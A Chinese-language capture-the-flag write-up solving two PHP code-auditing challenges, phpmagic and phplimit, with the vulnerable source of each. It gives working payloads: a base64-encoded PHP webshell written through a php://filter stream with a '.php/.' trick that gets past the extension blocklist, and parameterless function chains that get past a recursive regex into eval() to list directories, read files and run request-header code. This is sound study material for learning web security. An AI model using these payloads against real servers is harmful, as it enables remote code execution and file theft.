參考文獻: https://m3lon.github.io/2018/05/29/RCTF-r-cursive-wp/ http://f1sh.site/2018/11/25/code-breaking-puzzles%e5%81%9a%e9%a2%98%e8%ae%b0%e5%bd%95/ 遞歸比對: http://www.laruence.com/2011/09/30/2179.html
easy - phpmagic
源碼
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
<!doctype html>
<html lang="en">
<head>
<!-- Required meta tags -->
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<!-- Bootstrap CSS -->
<link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" integrity="sha256-eSi1q2PG6J7g7ib17yAaWMcrr5GrtohYChqibrV7PBE=" crossorigin="anonymous">
<title>Domain Detail</title>
<style>
pre {
width: 100%;
background-color: #f6f8fa;
border-radius: 3px;
font-size: 85%;
line-height: 1.45;
overflow: auto;
padding: 16px;
border: 1px solid #ced4da;
}
</style>
</head>
<body>
<div class="container">
<div class="row">
<div class="col">
<form method="post">
<div class="input-group mt-3">
<div class="input-group-prepend">
<span class="input-group-text" id="basic-addon1">dig -t A -q</span>
</div>
<input type="text" name="domain" class="form-control" placeholder="Your domain">
<div class="input-group-append">
<button class="btn btn-outline-secondary" type="submit">執行</button>
</div>
</div>
</form>
</div>
</div>
<div class="row">
<div class="col">
<pre class="mt-3"><?php if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {
file_put_contents($log_name, $output);
}
echo $output;
endif; ?></pre>
</div>
</div>
</div>
</body>
</html>
解題思路
能控制檔案名和檔案内容,但是檔案内容被
htmlspecialchars函數
過濾了一次,尖括号沒了。PHP的一個特點:隻要是傳
filename
的地方,基本都可以傳
協定流
。而
file_put_contents
的第一個參數就是傳
filename
的地方
一個簡單的栗子

利用php僞協定流解碼base64寫入webshell
其他問題
- 字尾名将能解析php檔案的全禁止了
-
之前會加上$log_name
,不完全可控檔案名$_SERVER['SERVER_NAME']
- 檔案内容也不完全可控
解決方法
- 一個可以在windows和linux上都行得通的方法:
filename=1.php/.&content=<?php phpinfo();?>
在作業系統中,都是禁止使用
/
作為檔案名的,但是後面加一個
.
就可以成功的寫入
1.php
了。pathinfo就取不到字尾名,可以正常寫入
.php
之中。且無論是在windows上還是linux上,每次都隻可以建立新檔案,不能覆寫老檔案
-
取的是HTTP headers中的$_SERVER['SERVER_NAME']
的值。Host
是自己本機外網ip的md5值md5($_SERVER['REMOTE_ADDR'])
p神 代碼審計知識星球二周年wp[2] p神 代碼審計知識星球二周年wp[2]
最終payload
domain=PD9waHAgZXZhbCgkX1BPU1RbMTJdKTs/Pg&log=://filter/write=convert.base64-decode/resource=6.php/.
- 在p神的環境上可以直接成功。但是在本機上測試的時候,寫入的檔案一直是亂碼,後來經大佬提醒才知道還需填充字元串。(左邊是p神的環境,右邊是自己的) 在自己本機上的payload
p神 代碼審計知識星球二周年wp[2]
domain=aaaPD9waHAgZXZhbCgkX1BPU1RbMTJdKTs/Pg&log=://filter/write=convert.base64-decode/resource=8.php/.
easy - phplimit
<?php
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
} else {
show_source(__FILE__);
}
\W:任意個非單詞字元。比對非字母、數字、下劃線。等價于 `[^A-Za-z0-9_]`
?: 比對前面的子表達式零次或一次,或指明一個非貪婪限定符。要比對 ? 字元,請使用 \?
\((?R)?\):(?R)*表示, 正則式本身, 可以認為是:`(正則本身(正則本身).....)`。
那麼此題最終的正則比對就是可以遞歸執行函數,不可以帶參數。
php函數
getcwd ():取得目前工作目錄
dirname():給出一個包含有指向一個檔案的全路徑的字元串,本函數傳回去掉檔案名後的目錄名。
chdir():改變目前的目錄。
scandir(directory):傳回一個 array,包含有 `directory` 中的檔案和目錄
readdir ():傳回目錄中下一個檔案的檔案名。檔案名以在檔案系統中的排序傳回
array_reverse() :接受數組 array 作為輸入并傳回一個單元為相反順序的新數組
next():它傳回的是下一個數組單元的值并将數組指針向前移動了一位。
get_defined_vars ():傳回一個包含所有已定義變量清單的多元數組,這些變量包括環境變量、伺服器變量和使用者定義的變量。
reset():将 array 的内部指針倒回到第一個單元并傳回第一個數組單元的值。
不帶參數的一些函數組合
?code=print(phpinfo());
?code=print(readdir(opendir(getcwd()))); #列目錄
?code=print(readfile(readdir(opendir(getcwd())))); #讀檔案
?code=print(dirname(dirname(getcwd()))); #print出/var
?code=eval(implode(getallheaders())); #apache子產品的函數
?code=eval(implode(get_defined_vars()));
?code=readfile(implode(array_reverse(scandir(dirname(chdir(dirname(getcwd()))))))); #檢視目前檔案夾
?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
或者
?1=readfile("../flag_phpbyp4ss");//&code=eval(implode(reset(get_defined_vars())))